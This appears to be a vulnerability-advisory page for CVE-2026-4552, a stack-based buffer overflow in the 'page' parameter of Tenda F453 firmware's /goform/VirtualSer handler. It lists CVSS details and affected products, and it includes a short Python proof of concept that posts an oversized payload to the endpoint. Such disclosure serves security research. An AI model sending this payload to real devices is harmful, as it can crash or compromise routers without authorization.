Security Vulnerability Report
中文
CVE-2026-4552 CVSS 8.8 HIGH

CVE-2026-4552

Published: 2026-03-22 15:17:10
Last Modified: 2026-04-02 20:50:45

Description

A vulnerability was determined in Tenda F453 1.0.0.3. This issue affects the function fromVirtualSer of the file /goform/VirtualSer of the component Parameters Handler. Executing a manipulation of the argument page can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:f453_firmware:1.0.0.3:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:f453:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda F453 1.0.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-4552 PoC Example # Target: Tenda F453 v1.0.0.3 # Description: Stack-based buffer overflow in the 'page' parameter target_url = "http://<target_ip>/goform/VirtualSer" # Malicious payload to trigger the overflow # Adjust the length based on the specific buffer size (e.g., 1000 bytes) payload = { "page": "A" * 1000, # Other parameters may be required depending on the function logic } try: # Sending the POST request to trigger the vulnerability response = requests.post(target_url, data=payload, timeout=5) if response.status_code == 200: print("Request sent successfully. Check device for crash or shell.") else: print(f"Received status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
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